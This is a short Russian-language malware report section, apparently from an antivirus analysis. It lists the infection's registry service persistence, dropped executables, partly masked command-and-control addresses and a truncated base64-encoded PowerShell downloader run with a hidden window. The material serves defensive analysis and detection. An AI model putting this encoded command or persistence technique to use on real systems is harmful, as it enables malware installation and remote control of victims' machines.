Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\ntdsapi] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ntdsapi] 'ImagePath' = '"<SYSTEM32>\bitsprx3\ntdsapi.exe"'
- 'ntdsapi' "<SYSTEM32>\bitsprx3\ntdsapi.exe"
- 'ntdsapi' <SYSTEM32>\bitsprx3\ntdsapi.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABNADcAYwByAGoAMAAxAD0AKAAoACcAWgB0AF8AJwArACcANAAnACkAKwAoACcANABoACcAKwAnAG8AJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABFAG4AdgA6AHQAZQBNAFAAXAB3AG8AcgBkAFwAMgAwAD...
- %TEMP%\word\2019\hh6t3if.exe
- <SYSTEM32>\bitsprx3\ntdsapi.exe
- %TEMP%\word\2019\hh6t3if.exe в <SYSTEM32>\bitsprx3\ntdsapi.exe
- '45.##.226.117':443
- http://ra###submit.com/search_test/hH5/
- http://45.##.226.117:443/giQU3zT/zicQbTiUcpqrwVzO01/EY6RBaPcPIGJeaol2/h66NMZ8aNQWEDzhbVk4/vwgIJN2/3DmoOL/ via 45.##.226.117
- DNS ASK ra###submit.com
- '%TEMP%\word\2019\hh6t3if.exe'
- '<SYSTEM32>\bitsprx3\ntdsapi.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABNADcAYwByAGoAMAAxAD0AKAAoACcAWgB0AF8AJwArACcANAAnACkAKwAoACcANABoACcAKwAnAG8AJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABFAG4AdgA6AHQAZQBNAFAAXAB3AG8AcgBkAFwAMgAwAD...' (со скрытым окном)